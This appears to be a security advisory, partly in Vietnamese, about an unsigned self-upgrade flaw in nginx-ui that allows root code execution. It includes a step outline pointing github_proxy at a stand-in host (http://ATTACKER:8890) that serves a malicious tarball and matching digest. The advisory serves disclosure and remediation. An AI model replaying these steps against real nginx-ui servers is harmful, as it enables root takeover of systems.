| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/0xJacky/Nginx-UI | ≥ 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8 | 1.9.10-0.20260728114330-580585516dd8 |
| nginx ui | ≥ 2.0.0, < 2.5.0 | 2.5.0 |
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for
BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped
with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No
signature verification anywhere in internal/upgrader/.selfupdate.CommitBinary then replaces the running binary; the process restarts.settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phígithub_proxyAn attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
github_proxy; in scenarios A/B this is
instead a compromised mirror / MITM): POST /api/settings with
http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.GET /api/upgrade/perform, send {"channel":"stable"}.GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz
(over cleartext http)./tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary
replaced nginx-ui and EXECUTED AS ROOT.Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
cloud.nginxui.com
/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are
standard attacker capabilities, marked here as analysis.cloud.nginxui.com+GitHub
plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which
matters when the source is compromised or the transport is cleartext (http proxy).Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy
as a protected setting.
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.